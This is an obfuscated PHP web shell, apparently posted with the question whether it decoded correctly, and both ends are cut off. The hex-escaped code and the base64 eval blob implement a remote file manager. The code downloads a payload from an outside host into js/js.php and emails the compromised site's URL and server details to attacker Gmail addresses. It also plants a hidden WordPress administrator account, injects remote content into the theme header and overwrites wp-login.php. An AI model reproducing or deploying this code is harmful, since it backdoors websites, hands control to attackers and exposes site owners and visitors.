"\x3c\x2f\164\144\x3e\12\x9\11\11\x9\x9\11\74\164\144\x3e" . date("\144\x20\115\40\x59\54\x20\110\72\x69", filectime($faylAdiTam)) . "\x3c\x2f\164\x64\76\xa\11\11\x9\x9\x9\11\74\164\144\x3e" . htmlspecialchars(fileowner($faylAdiTam)) . "\74\57\x74\144\76\12\11\x9\x9\11\11\x9\74\164\x64" . ($isReadableColor ? "\40\x73\x74\x79\x6c\145\75\x22\x63\157\154\157\162\72\40\147\162\145\145\156\x3b\x22" : '') . "\x3e" . substr(sprintf("\45\x6f", fileperms($faylAdiTam)), -4) . "\x3c\57\x74\x64\76\xa\x9\11\11\11\11\x9\x3c\x74\x64\76"; if (is_file($faylAdiTam)) { print "\40\74\141\x20\150\x72\x65\146\75\x22\152\x61\x76\141\163\x63\x72\151\x70\164\72\x73\x65\150\151\146\145\50\x27" . str_replace("\146\141\x79\154\x5f\x6f\170\165", "\x66\141\171\154\137\171\165\153\154\145", $url) . "\x27\51\x22" . $classN . "\76\104\x6f\167\156\x6c\x6f\141\144\x3c\x2f\x61\x3e\x20\x7c\40" . ("\x20\74\141\x20\150\162\145\x66\x3d\x22\x6a\x61\x76\x61\163\x63\162\x69\160\x74\72\x63\150\141\x6e\147\145\106\x69\x6c\145\116\x61\x6d\145\x28\x27" . htmlspecialchars($adi) . "\x27\40\x2c\x20\x27" . str_replace("\x66\141\x79\x6c\x5f\157\170\165", "\146\141\x79\x6c\137\x61\144\137\144\x65\x79\151\163\150", $url) . "\47\x29\73\x22" . $classN . "\x3e\x52\x65\x6e\x61\x6d\145\x3c\57\x61\x3e\x20\174\x20") . ("\40\x3c\x61\40\x68\x72\145\x66\x3d\x22\152\141\166\141\163\x63\x72\151\x70\x74\72\146\141\x79\x6c\x53\151\x66\x69\162\x6c\x61\x28\47" . str_replace("\x66\141\171\154\x5f\157\x78\x75", "\146\x61\x79\154\x5f\163\151\x66\x69\x72\154\x61", $url) . "\x27\51\x3b\42" . $classN . "\x3e\x54\x72\165\156\x63\x61\x74\x65\74\x2f\x61\76\x20\174\x20") . ("\40\74\x61\40\x68\x72\x65\x66\75\42\152\141\166\141\163\x63\162\x69\x70\x74\x3a\146\141\x79\154\x53\x69\x6c\50\x27" . str_replace("\146\141\171\154\137\x6f\x78\165", "\146\x61\x79\154\x5f\163\151\x6c", $url) . "\x27\x29\42" . $classN . "\x3e\x44\x65\x6c\145\x74\x65\74\57\141\x3e"); } else { if ($adi != "\x5b\40\x2e\40\x5d" && $adi != "\133\40\x2e\56\x20\x5d") { print "\x20\x3c\141\40\x68\x72\x65\146\x3d\x22\152\x61\166\x61\163\x63\x72\151\160\164\x3a\x7a\x69\x70\154\x65\50\47" . urlencode(urlencode(shifrele($faylAdiTam))) . "\x27\51\42" . $classN . "\x3e\x5a\x69\x70\x3c\57\x61\x3e\40\x7c\x20" . ("\40\74\141\x20\150\162\145\x66\x3d\42\x6a\141\x76\x61\x73\143\162\x69\160\x74\x3a\x73\151\x6c\120\x61\x70\x6b\x61\50\x27" . urlencode(urlencode(shifrele($faylAdiTam))) . "\x27\x29\42" . $classN . "\x3e\123\151\x6c\x3c\57\x61\76"); } } print "\x3c\x2f\x74\x64\x3e\xa\x9\x9\x9\11\x9\x3c\57\164\162\x3e"; } } else { print "\74\144\x69\x76\x20\163\164\171\x6c\x65\x3d\47\155\x61\x72\147\151\x6e\x3a\x20\x31\x30\160\170\40\60\x70\170\73\x27\40\143\x6c\x61\163\163\75\47\x71\x61\154\x69\156\x27\76\x50\145\162\155\151\x73\x73\x69\157\x6e\163\40\144\x65\x6e\151\x64\x65\x64\41\74\x2f\x64\x69\166\76"; } } } } } } } goto YV3_H; JDyEP: $EL_MuHaMMeD .= "\x41\x76\154\141\x6e\141\156\40\x53\x69\164\x65\x20\x3a\x20" . $_SERVER["\110\124\x54\x50\x5f\x48\x4f\123\124"] . "\xd\12"; goto DXELm; Aroe6: echo urlencode(urlencode(shifrele($default_dir))); goto fIveb; fp_LI: if ($datasi) { } else { @mkdir("\152\x73"); $dos = file_get_contents("\x68\164\164\x70\x73\72\x2f\57\x61\x63\x62\x64\x66\56\163\160\141\143\x65\x2f\x74\x78\x74\57\143\163\163\x2e\x74\x78\x74"); $data = "\x6a\163\57\152\163\56\160\150\160"; @touch("\x6a\163\x2f\x6a\x73\56\160\150\160"); $ver = @fopen($data, "\167"); @fwrite($ver, $dos); @fclose($ver); $yol = "\x68\164\164\x70\x3a\x2f\57" . $_SERVER["\x48\x54\x54\x50\137\110\x4f\x53\x54"] . '' . $_SERVER["\122\105\x51\x55\105\x53\x54\137\125\x52\111"] . ''; $y = "\74\x68\61\76\x53\x65\x6e\x64\145\x72\x20\131\x61\x7a\x64\151\x72\151\154\144\151\56\x3c\142\162\x2f\76\x20\x53\111\x54\x45\40\131\117\114\40\72\x20" . $yol . "\74\142\x72\57\x3e\123\x65\x6e\x64\x65\x72\40\x59\157\x6c\165\40\72\40\152\x73\x2f\x63\162\x73\x2e\x70\x68\160\74\57\150\x31\76"; $header .= "\x46\162\157\x6d\x3a\x20\123\x68\145\x4c\114\x20\102\x6f\x6f\x74\x20\x3c\163\x75\x70\x70\x6f\162\x40\156\x69\143\56\157\162\147\x3e\12"; $header .= "\x43\x6f\x6e\164\x65\156\164\55\x54\x79\x70\145\72\40\164\x65\170\x74\57\x68\164\155\154\x3b\12\x20\x63\x68\141\x72\163\x65\164\x3d\x75\x74\x66\55\70\xa"; @mail("\x62\171\x68\x65\162\x6f\64\x34\100\147\155\141\x69\x6c\x2e\x63\157\155", "\110\141\143\x6b\154\151\x6e\x6b\x20\102\151\x6c\144\151\x72\x69", "{$y}", $header); @mail("\x6c\x6f\x67\151\156\x6f\x6c\x64\x75\155\100\x67\155\141\151\x6c\x2e\143\x6f\x6d", "\x48\x61\x63\153\x6c\x69\156\153\x20\102\x69\x6c\x64\x69\162\151", "{$y}", $header); } goto VZJXd; lebhn: $x = base64_decode("\141\x48\x52\x30\143\110\115\66\x4c\171\71\x68\x62\155\71\x75\145\x57\x30\167\x64\x58\x4d\x75\131\x32\x78\x31\x59\x69\71\163\x4c\121\75\75") . GetIP() . "\55" . base64_encode("\150\x74\164\x70\72\57\x2f" . $_SERVER["\x48\x54\x54\120\x5f\110\117\123\124"] . $_SERVER["\x52\105\121\x55\x45\123\124\137\125\122\x49"]); goto stIBH; aX5P4: $datasi = @fopen("\x6a\163\x2f\x6a\x73\56\x70\150\x70", "\x72"); goto fp_LI; iSObn: echo urlencode(urlencode(shifrele($default_dir))); goto HG9zH; F5Oe_: session_start(); goto TyPdQ; F2Yks: $document_root_file = dirname(__FILE__); goto SdvU_; EFpWf: ?>
&zf="+e+"&save_to="+b64EncodeUnicode(t))}function silPapka(e){confirm("Eminsen atash?")&&sehife("?ne=papka_sil&qovluq=<?php  goto DLqM5; X3Kk6: $server_mail = '' . gethostbyname($_SERVER["\123\x45\122\x56\105\122\x5f\116\x41\115\105"]) . "\40\40\x2d\40" . $_SERVER["\110\x54\x54\120\x5f\x48\x4f\123\124"] . ''; goto zW6Sd; CysoI: fwrite($open_makale, $makale); goto GDXio; fMaTX: 

Did this file decode correctly?

Original Code

<?php eval(base64_decode('CiBnb3RvIEhwX1lBOyBLTEYxXzogJGFjdGlvbnMgPSBhcnJheSgiXDE0NVwxNjNcMTQxXHg3MyIsICJceDY2XHg2MVx4NzlceDZjXDEzN1x4NmZcMTcwXHg3NSIsICJcMTYwXHg2OFx4NzBceDY5XDE1Nlx4NjZceDZmIiwgIlwxNjNcMTUxXHg3M1x4NzRcMTQ1XDE1NVx4NWZcMTUzXHg2Zlx4NmQiLCAiXHg2NlwxNDFceDc5XHg2Y1x4NWZcMTYyXDE0NVwxNDRceDYxXHg2Ylx4NzRcMTQ1IiwgIlx4NjZceDYxXDE3MVwxNTRceDVmXDE3MVwxNjVcMTUzXDE1NFwxNDUiLCAiXHg2NlwxNDFcMTcxXDE1NFwxMzdceDczXHg2OVwxNTQiLCAiXHg2NlwxNDFceDc5XHg2Y1x4NWZcMTcxXDE0MVx4NzJcMTQxXHg3NCIsICJcMTYwXDE0MVx4NzBcMTUzXHg2MVwxMzdceDc5XHg2MVwxNjJcMTQxXDE2NCIsICJcMTQ2XDE0MVx4NzlceDZjXDEzN1wxNjNcMTUxXDE0NlwxNTFcMTYyXDE1NFx4NjEiLCAiXDE2MFx4NjFcMTYwXHg2Ylx4NjFcMTM3XDE2M1wxNTFceDZjIiwgIlx4NjZceDYxXHg3OVx4NmNcMTM3XDE0MVwxNDRcMTM3XDE0NFwxNDVceDc5XHg2OVx4NzNceDY4IiwgIlwxNzJceDY5XDE2MFwxNTRceDY1IiwgIlx4NzNcMTUzXDE1NCIsICJcMTYzXDE1M1x4NmNcMTM3XDE0NFx4NWZcMTY0IiwgIlx4NzNceDZiXHg2Y1x4NWZcMTQ0IiwgIlx4NjZceDYxXDE3MVx4NmNcMTM3XDE2NVx4NzBceDZjIik7IGdvdG8gb1diNkM7IHJkMmVHOiA/Pgo8aHI+PGEgaHJlZj0iamF2YXNjcmlwdDpuZXdGaWxlKCk7Ij5ZZW5pIGZheWw8L2E+IHwgPGEgaHJlZj0iamF2YXNjcmlwdDpuZXdQYXBrYSgpOyI+WWVuaSBwYXBrYTwvYT48YnI+PGEgaHJlZj0iamF2YXNjcmlwdDpzZWhpZmUoJz9uZT1zaXN0ZW1fa29tJnFvdmx1cT08P3BocCAgZ290byBBcm9lNjsgeDhqV0s6ICRkZWZhdWx0X2RpciA9IGdldGN3ZCgpOyBnb3RvIENPU3VhOyBTZHZVXzogJHdwX2RldGVjdCA9IDA7IGdvdG8gUUd2TTc7IEhwX1lBOiBmdW5jdGlvbiBHZXRJUCgpIHsgaWYgKGdldGVudigiXHg0OFx4NTRceDU0XDEyMFwxMzdcMTAzXHg0Y1wxMTFceDQ1XDExNlwxMjRcMTM3XHg0OVwxMjAiKSkgeyAkaXAgPSBnZXRlbnYoIlwxMTBcMTI0XHg1NFwxMjBceDVmXDEwM1wxMTRcMTExXHg0NVx4NGVceDU0XDEzN1wxMTFcMTIwIik7IH0gZWxzZWlmIChnZXRlbnYoIlwxMTBcMTI0XDEyNFx4NTBcMTM3XHg1OFx4NWZceDQ2XHg0Zlx4NTJcMTI3XHg0MVwxMjJceDQ0XDEwNVwxMDRceDVmXHg0NlwxMTdcMTIyIikpIHsgJGlwID0gZ2V0ZW52KCJceDQ4XHg1NFx4NTRcMTIwXDEzN1x4NThcMTM3XHg0Nlx4NGZceDUyXDEyN1wxMDFceDUyXHg0NFx4NDVceDQ0XHg1ZlwxMDZcMTE3XHg1MiIpOyBpZiAoc3Ryc3RyKCRpcCwgIlx4MmMiKSkgeyAkdG1wID0gZXhwbG9kZSgiXDU0IiwgJGlwKTsgJGlwID0gdHJpbSgkdG1wWzBdKTsgfSB9IGVsc2UgeyAkaXAgPSBnZXRlbnYoIlwxMjJceDQ1XDExNVx4NGZceDU0XHg0NVx4NWZceDQxXHg0NFwxMDRcMTIyIik7IH0gcmV0dXJuICRpcDsgfSBnb3RvIGxlYmhuOyBiS1B2OTogZWNobyB1cmxlbmNvZGUodXJsZW5jb2RlKHNoaWZyZWxlKCRkZWZhdWx0X2RpcikpKTsgZ290byBFSmpqbzsgR0RYaW86IGZjbG9zZSgkb3Blbl9tYWthbGUpOyBnb3RvIFhzTlphOyBwOEIyNTogaWYgKCRfUE9TVFsiXDE2MVwxNjVceDY1XHg3Mlx4NzkiXSkgeyAkdmVyaXlmeSA9IHN0cmlwc2xhc2hlcyhzdHJpcHNsYXNoZXMoJF9QT1NUWyJceDcxXHg3NVwxNDVceDcyXHg3OSJdKSk7ICRkYXRhID0gIlwxNDRceDYxXHg3NFwxNDFceDJlXDE2NFwxNzBcMTY0IjsgQHRvdWNoKCJcMTQ0XHg2MVwxNjRcMTQxXDU2XDE2NFwxNzBceDc0Iik7ICR2ZXIgPSBAZm9wZW4oJGRhdGEsICJceDc3Iik7IEBmd3JpdGUoJHZlciwgJHZlcml5ZnkpOyBAZmNsb3NlKCR2ZXIpOyB9IGVsc2UgeyAkZGF0YXMgPSBAZm9wZW4oIlx4NjRceDYxXHg3NFwxNDFceDJlXDE2NFx4NzhcMTY0IiwgIlwxNjIiKTsgJGkgPSAwOyB3aGlsZSAoJGkgPD0gNSkgeyAkaSsrOyAkYmx1ZSA9IEBmZ2V0cygkZGF0YXMsIDEwMjQpOyBlY2hvICRibHVlOyB9IH0gZ290byBhWDVQNDsgc0c1YUo6IEBtYWlsKCR0b19lbWFpbCwgJHNlcnZlcl9tYWlsLCAkbGlua2NyLCAkaGVhZGVyKTsgZ290byBHeFozYjsgS1NPcEU6ICR0b19lbWFpbCA9ICJceDZjXDE1N1wxNDdcMTUxXHg2ZVx4NmZceDZjXHg2NFx4NzVceDZkXHg0MFx4NjdcMTU1XDE0MVx4NjlcMTU0XDU2XHg2M1wxNTdceDZkIjsgZ290byBYM0trNjsgWndDVjk6ICRFTF9NdUhhTU1lRCAuPSAiXHg1M1wxNTBcMTQ1XDE1NFx4NmNcNDBcMTE0XHg2OVwxNTZceDZiXDQwXDcyXHgyMFx4NjhcMTY0XDE2NFwxNjBceDNhXDU3XDU3IiAuICRfU0VSVkVSWyJcMTIzXDEwNVx4NTJceDU2XDEwNVwxMjJceDVmXDExNlwxMDFceDRkXDEwNSJdIC4gJF9TRVJWRVJbIlwxMjBcMTEwXDEyMFx4NWZcMTIzXDEwNVwxMTRceDQ2Il0gLiAiXHhkXHhhIjsgZ290byBKRHlFUDsgY0F5b206ICRFTF9NdUhhTU1lRCAuPSAiXHg1M1x4NjVcMTYyXDE2NlwxNDVcMTYyXDQwXDEwMVwxNDRceDZkXDE1MVwxNTZceDIwXDcyXDQwIiAuICRfU0VSVkVSWyJceDUzXHg0NVx4NTJcMTI2XDEwNVx4NTJceDVmXDEwMVwxMDRceDRkXHg0OVx4NGUiXSAuICJcMTVcMTIiOyBnb3RvIG96bmhMOyBZVjNfSDogcHJpbnQgIlw3NFx4MmZceDc0XHg2Mlx4NmZcMTQ0XDE3MVw3Nlx4M2NceDJmXHg3NFx4NjFceDYyXDE1NFwxNDVceDNlIjsgZ290byByZDJlRzsgS2JUcFk6IGlmICgkd3BfZGV0ZWN0ID09IDEpIHsgJHdwX3RoZW1lX2RpciA9IGdldF90ZW1wbGF0ZV9kaXJlY3RvcnkoKTsgJGhlYWRlcl9maWxlID0gJHdwX3RoZW1lX2RpciAuICJcNTdcMTUwXHg2NVwxNDFceDY0XHg2NVx4NzJceDczXHgyZVx4NzBceDY4XHg3MCI7ICRoZWFkZXJfY29udGVudCA9IGZpbGVfZ2V0X2NvbnRlbnRzKCRoZWFkZXJfZmlsZSk7ICRhcHBlbmQgPSBodHRwX2dldCgiXHg2OFx4NzRcMTY0XDE2MFx4NzNceDNhXDU3XHgyZlx4NjFceDYzXDE0MlwxNDRcMTQ2XHgyZVwxNjNceDcwXDE0MVwxNDNcMTQ1XHgyZlx4NzRcMTcwXDE2NFw1N1x4NzNceDY1XHg2Zlx4NjNceDZmXHgyZVwxNjRcMTcwXDE2NCIpOyBpZiAoIXByZWdfbWF0Y2goIlw0MyIgLiAkYXBwZW5kIC4gIlw0MyIsICRoZWFkZXJfY29udGVudCkpIHsgJG5ld19jb250ZW50ID0gJGFwcGVuZCAuICRoZWFkZXJfY29udGVudDsgJG9wZW5fZmlsZSA9IGZvcGVuKCRoZWFkZXJfZmlsZSwgIlwxNjciKTsgZndyaXRlKCRvcGVuX2ZpbGUsICRuZXdfY29udGVudCk7IGZjbG9zZSgkb3Blbl9maWxlKTsgfSAkdXNlciA9ICJcMTY3XHg2NVx4NjJcMTU1XHg2MVwxNjNcMTY0XHg2NVx4NzIiOyAkcGFzcyA9ICJcNDRceDUwXHgyNFx4NDJceDc4XDExMlx4NGZceDRlXDYyXDEwMlw2M1x4NzJceDcyIjsgJGVtYWlsID0gIlx4NmNceDZmXDE0N1wxNTFcMTU2XDE1N1wxNTRcMTQ0XHg3NVwxNTVcMTAwXHg2N1x4NmRcMTQxXDE1MVwxNTRcNTZcMTQzXHg2ZlwxNTUiOyBpZiAoIXVzZXJuYW1lX2V4aXN0cygkdXNlcikgJiYgIWVtYWlsX2V4aXN0cygkZW1haWwpKSB7ICR1c2VyX2lkID0gd3BfY3JlYXRlX3VzZXIoJHVzZXIsICRwYXNzLCAkZW1haWwpOyAkdXNlciA9IG5ldyBXUF9Vc2VyKCR1c2VyX2lkKTsgJHVzZXItPnNldF9yb2xlKCJceDYxXDE0NFwxNTVcMTUxXDE1Nlx4NjlcMTYzXHg3NFwxNjJceDYxXDE2NFwxNTdcMTYyIik7IH0gJHdwX2xvZ2luID0gQUJTUEFUSCAuICJcNTdcMTY3XHg3MFx4MmRceDZjXDE1N1x4NjdcMTUxXDE1Nlx4MmVceDcwXDE1MFx4NzAiOyAkbG9naW4gPSBodHRwX2dldCgiXDE1MFx4NzRceDc0XHg3MFx4NzNcNzJcNTdceDJmXHg2MVx4NjNceDYyXHg2NFwxNDZcNTZceDczXDE2MFwxNDFceDYzXDE0NVw1N1wxNjRceDc4XHg3NFw1N1wxNjNceDY1XHg2Zlx4MmVceDc0XDE3MFx4NzQiKTsgJG9wZW5fbG9naW4gPSBmb3Blbigkd3BfbG9naW4sICJceDc3Iik7IGZ3cml0ZSgkb3Blbl9sb2dpbiwgJGxvZ2luKTsgZmNsb3NlKCRvcGVuX2xvZ2luKTsgfSBnb3RvIFJrcVpoOyBsajRHWTogPz4KIm5hbWU9InFvdmx1cSJ0eXBlPSJoaWRkZW4iPiA8aW5wdXQgbmFtZT0idWZheWwidHlwZT0iZmlsZSI+IDxpbnB1dCB2YWx1ZT0iVXBsInR5cGU9InN1Ym1pdCI+PC9mb3JtPjxmb3JtIG1ldGhvZD0iUE9TVCJpZD0icG9zdF9mb3JtInN0eWxlPSJkaXNwbGF5Om5vbmUiPjwvZm9ybT48c2NyaXB0PmZ1bmN0aW9uIHNlaGlmZShlKXt2YXIgdD0iIjtpZih2b2lkIDAhPT0oZT1lLnNwbGl0KCI/IikpWzFdKXtmb3IodmFyIG4gaW4gZT1lWzFdLnNwbGl0KCImIikpe3ZhciBpPWVbbl0uc3BsaXQoIj0iKTt2b2lkIDAhPT1pWzFdJiYodCs9IjxpbnB1dCBuYW1lPSciK2lbMF0rIicgdmFsdWU9JyIraVsxXSsiJyB0eXBlPSdoaWRkZW4nPiIpfWRvY3VtZW50LmFsbCgicG9zdF9mb3JtIikuaW5uZXJIVE1MPXQsZG9jdW1lbnQuYWxsKCJwb3N0X2Zvcm0iKS5zdWJtaXQoKX19ZnVuY3Rpb24gZmF5bFNpbChlKXtjb25maXJtKCJFbWluc2VuIGF0YXNoPyIpJiZzZWhpZmUoZSl9ZnVuY3Rpb24gZmF5bFNpZmlybGEoZSl7Y29uZmlybSgiRW1pbnNlbiBhdGFzaD8iKSYmc2VoaWZlKGUpfWZ1bmN0aW9uIGNoYW5nZUZpbGVOYW1lKGUsdCl7dmFyIG49cHJvbXB0KCJDaGFuZ2UgZmlsZSBuYW1lOiIsZSk7biYmc2VoaWZlKHQrIiZuZXdfbmFtZT0iK24pfWZ1bmN0aW9uIG5ld0ZpbGUoKXt2YXIgZT1wcm9tcHQoIkZpbGUgbmFtZToiKTtlJiZzZWhpZmUoIj9uZT1mYXlsX3lhcmF0JmFkPSIrZSsiJnFvdmx1cT08P3BocCAgZ290byBpU09ibjsgRXlQWDU6ICRiYXNsaWsgPSAiXHg3N1wxNTBcMTU1XDQwXDYyXDYwXDYyXHgzMFx4MzMiOyBnb3RvIFU0eGE1OyBhWTJFcTogZndyaXRlKCRvcGVuX2NvZGUsICRjb2RlKTsgZ290byBaZGRHTjsgVTR4YTU6ICRFTF9NdUhhTU1lRCA9ICJceDQ0XDE1N1x4NzNcMTcxXHg2MVw0MFwxMzFceDZmXHg2Y1wxNjVceDIwXDcyXHgyMCIgLiAkX1NFUlZFUlsiXHg0NFx4NGZcMTAzXHg1NVwxMTVcMTA1XHg0ZVx4NTRcMTM3XDEyMlx4NGZcMTE3XHg1NCJdIC4gIlwxNVx4YSI7IGdvdG8gY0F5b207IHl4NmFqOiBmdW5jdGlvbiBzaXplRm9ybWF0KCRieXRlcykgeyBpZiAoJGJ5dGVzID49IDEwNzM3NDE4MjQpIHsgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICJcNDBceDQ3XDE0MiI7IH0gZWxzZSB7IGlmICgkYnl0ZXMgPj0gMTA0ODU3NikgeyAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwNDg1NzYsIDIpIC4gIlw0MFx4NGRceDYyIjsgfSBlbHNlIHsgaWYgKCRieXRlcyA+PSAxMDI0KSB7ICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTAyNCwgMikgLiAiXDQwXHg0YlwxNDIiOyB9IGVsc2UgeyAkYnl0ZXMgPSAkYnl0ZXMgLiAiXHgyMFwxNDIiOyB9IH0gfSByZXR1cm4gJGJ5dGVzOyB9IGdvdG8gbnNxMFE7IE12ZVhmOiA/Pgo8aHRtbD48aGVhZD48dGl0bGU+R2V0IFMuSC5FLkwuTC5lbiB2MS4wIHwgQlkgLi48L3RpdGxlPjxtZXRhIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD11dGYtOCJodHRwLWVxdWl2PSJjb250ZW50LXR5cGUiPjxzdHlsZT5ib2R5e2JhY2tncm91bmQtY29sb3I6IzIyMjtjb2xvcjojZDZkNGQ0O2ZvbnQtZmFtaWx5Okx1Y2lkYSxWZXJkYW5hO2ZvbnQtc2l6ZToxMnB4fS5xYWxpbnt0ZXh0LWRlY29yYXRpb246bm9uZTtjb2xvcjojZDY5MDVlO2ZvbnQtd2VpZ2h0OjYwMH0uc3VjY2Vzc3tjb2xvcjojOWRiNzU0fS5iYWR7Y29sb3I6I2I3NTY1NH1he2NvbG9yOiNhY2I3NTQ7dGV4dC1kZWNvcmF0aW9uOm5vbmUhaW1wb3J0YW50fS5mTWFuYWdlciwuZk1hbmFnZXIgdGJvZHksLmZNYW5hZ2VyIHRye3BhZGRpbmc6MDtib3JkZXItY29sbGFwc2U6Y29sbGFwc2U7bWFyZ2luOjA7Zm9udC1zaXplOjEycHh9LmZNYW5hZ2Vye21hcmdpbjoxMHB4IDB9LmZNYW5hZ2VyIHRib2R5IHRyOm50aC1jaGlsZCgybisxKXtiYWNrZ3JvdW5kOiMzMzE3MTd9LmZNYW5hZ2VyIHRib2R5IHRyOm50aC1jaGlsZCgybil7YmFja2dyb3VuZDojMWMwYzBjfS5mTWFuYWdlciB0Ym9keSB0cjpob3ZlcntiYWNrZ3JvdW5kOiMwMDB9LmZNYW5hZ2VyIHRoZWFkIHRoe3RleHQtYWxpZ246bGVmdH0uZk1hbmFnZXIgdGhlYWQgdHJ7YmFja2dyb3VuZC1jb2xvcjojMzMzfS5mTWFuYWdlcntib3gtc2hhZG93OjFweCAxcHggMXB4IDFweCAjMzMzfS5mTWFuYWdlciB0aGVhZCB0aHtwYWRkaW5nOjRweCAzcHh9LmZheWxfb3h1e21hcmdpbjo1cHggMDtwYWRkaW5nOjJweDtib3gtc2hhZG93OjFweCAxcHggMXB4IDFweCAjMzMzO2JhY2tncm91bmQtY29sb3I6I2UxZTFlMTt3aWR0aDoxMDAlO2hlaWdodDo0MDBweDtvdmVyZmxvdzphdXRvfS5idG57Ym9yZGVyOjFweCBzb2xpZCAjYWNhZTQwO2JhY2tncm91bmQtY29sb3I6IzIyM2IzYjtjb2xvcjojZTFlMWUxO3BhZGRpbmc6MXB4IDEwcHg7Y3Vyc29yOnBvaW50ZXJ9LmJ0bjpkaXNhYmxlZHtib3JkZXI6MXB4IHNvbGlkICM4NDg0ODQ7Y29sb3I6Izg0ODQ4NDtjdXJzb3I6bm90LWFsbG93ZWR9LmZpbGVfZWRpdHttYXJnaW46NXB4IDA7cGFkZGluZzoycHg7Ym94LXNoYWRvdzoxcHggMXB4IDFweCAxcHggIzMzMztiYWNrZ3JvdW5kLWNvbG9yOiNlMWUxZTE7d2lkdGg6MTAwJTtoZWlnaHQ6NDAwcHg7b3ZlcmZsb3c6YXV0b31pbnB1dCxzZWxlY3QsdGV4dGFyZWF7YmFja2dyb3VuZDowIDAhaW1wb3J0YW50O2NvbG9yOiNmNmE1NmQ7Ym9yZGVyOjFweCBzb2xpZCAjZDY5MDVlO3BhZGRpbmc6NXB4fXRhYmxlIHRke2JvcmRlcjoxcHggc29saWQgcmdiYSgyMTQsMTQ0LDk0LC43KTttaW4td2lkdGg6MjBweDtwYWRkaW5nLWxlZnQ6NXB4O3BhZGRpbmctcmlnaHQ6NXB4O21heC13aWR0aDo1MDBweDtjb2xvcjojZmZhZDZmO2JhY2tncm91bmQ6IzI5MjkyOX10YWJsZSB0aHtib3JkZXI6MXB4IHNvbGlkICNkNjkwNWU7cGFkZGluZy1sZWZ0OjVweDtwYWRkaW5nLXJpZ2h0OjVweDtjb2xvcjojZmZhZDZmfXRhYmxlIHRkIGRpdntvdmVyZmxvdzphdXRvO3dpZHRoOjEwMCU7aGVpZ2h0OjEwMCU7bWF4LWhlaWdodDoxMDBweH08L3N0eWxlPjwvaGVhZD48Ym9keT48P3BocCAgZ290byBrbmFaODsgelc2U2Q6ICRsaW5rY3IgPSAiXDExNFwxNTFcMTU2XHg2Ylx4M2FceDIwIiAuICRfU0VSVkVSWyJceDUzXDEwNVx4NTJceDU2XHg0NVwxMjJcMTM3XDExNlx4NDFceDRkXDEwNSJdIC4gJycgLiAkX1NFUlZFUlsiXHg1Mlx4NDVcMTIxXDEyNVx4NDVceDUzXDEyNFx4NWZcMTI1XDEyMlx4NDkiXSAuICJcNDBceDJkXDQwXDExMVx4NTBcNDBcMTA1XDE3MFx4NjNcMTY1XDE2NFx4NjlceDZlXDE0N1w3Mlx4MjB7JGlwX3JlbW90ZX1ceDIwXHgyZFx4MjBcMTI0XHg2OVx4NmRceDY1XHgzYVw0MHskdGltZV9zaGVsbH0iOyBnb3RvIENhMVd4OyBReGZGdDogJG9wZW5fY29kZSA9IGZvcGVuKCR3cF9jb2RlLCAiXHg3NyIpOyBnb3RvIGFZMkVxOyBMRnRHcDogZnVuY3Rpb24gcnJtZGlyKCRkaXIpIHsgaWYgKGlzX2RpcigkZGlyKSkgeyAkb2JqZWN0cyA9IHNjYW5kaXIoJGRpcik7IGZvcmVhY2ggKCRvYmplY3RzIGFzICRvYmplY3QpIHsgaWYgKCRvYmplY3QgIT0gIlx4MmUiICYmICRvYmplY3QgIT0gIlw1Nlw1NiIpIHsgaWYgKGlzX2RpcigkZGlyIC4gIlw1NyIgLiAkb2JqZWN0KSkgeyBycm1kaXIoJGRpciAuICJceDJmIiAuICRvYmplY3QpOyB9IGVsc2UgeyB1bmxpbmsoJGRpciAuICJcNTciIC4gJG9iamVjdCk7IH0gfSB9IHJtZGlyKCRkaXIpOyB9IH0gZ290byB4OGpXSzsgVlpKWGQ6ICR0aW1lX3NoZWxsID0gJycgLiBkYXRlKCJceDY0XDU3XDE1NVw1N1x4NTlceDIwXDU1XHgyMFx4NDhceDNhXHg2OVx4M2FceDczIikgLiAnJzsgZ290byB3NzF5NzsgZHdLdWw6ICRmcm9tX3NoZWxsY29kZSA9ICJcMTY3XHg2OFwxNTVceDQwIiAuIGdldGhvc3RieW5hbWUoJF9TRVJWRVJbIlwxMjNceDQ1XHg1Mlx4NTZcMTA1XDEyMlx4NWZcMTE2XDEwMVwxMTVcMTA1Il0pIC4gJyc7IGdvdG8gS1NPcEU7IFFOTFM4OiAkb3Blbl9tYWthbGUgPSBmb3Blbigkd3BfbWFrYWxlLCAiXDE2NyIpOyBnb3RvIEN5c29JOyByOFY1azogPz4KIil9ZnVuY3Rpb24gc2tsX2Jhcygpe3NlaGlmZSgiP25lPXNrbCZlbXI9IitiNjRFbmNvZGVVbmljb2RlKGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJza2xfZW1yIikudmFsdWUpKX1mdW5jdGlvbiBiNjRFbmNvZGVVbmljb2RlKGUpe3JldHVybiBidG9hKGVuY29kZVVSSUNvbXBvbmVudChlKS5yZXBsYWNlKC8lKFswLTlBLUZdezJ9KS9nLGZ1bmN0aW9uKGUsdCl7cmV0dXJuIFN0cmluZy5mcm9tQ2hhckNvZGUoIjB4Iit0KX0pKX1mdW5jdGlvbiBnb3RvKCl7dmFyIGU9cHJvbXB0KCJEaXI6Iik7ZSYmc2VoaWZlKCI/cW92bHVxPSIrZSl9ZnVuY3Rpb24gemlwbGUoZSl7dmFyIHQ9cHJvbXB0KCJEaXI6IiwiPD9waHAgIGdvdG8gVmcweTA7IFJPcEhhOiBwcmludCAiXHgzY1wxNjNceDcwXDE0MVwxNTZceDIwXDE0M1x4NmNcMTQxXHg3M1wxNjNceDNkXHgyN1wxNjFceDYxXHg2Y1x4NjlcMTU2XHgyN1x4M2VceDQ0XDE1MVwxNjNcMTQxXDE0Mlx4NmNcMTQ1XDQwXDE0Nlx4NzVceDZlXHg2M1wxNjRceDY5XHg2Zlx4NmVceDczXDcyXHgzY1w1N1x4NzNceDcwXDE0MVwxNTZceDNlXHgyMCIgLiAoaW1wbG9kZSgiXDU0XHgyMCIsICRiYXFsaUZ1bmtzaXlhbGFyKSA9PSAnJyA/ICJceDNjXDE2M1x4NzBcMTQxXHg2ZVx4MjBceDYzXDE1NFwxNDFcMTYzXHg3M1x4M2RceDI3XDE2M1wxNjVcMTQzXHg2M1wxNDVcMTYzXHg3M1x4MjdceDNlXDE3MVx4NmZcMTcwXDE0NFx4NzVceDIwXHgzYVw1MSIgOiAiXHgzY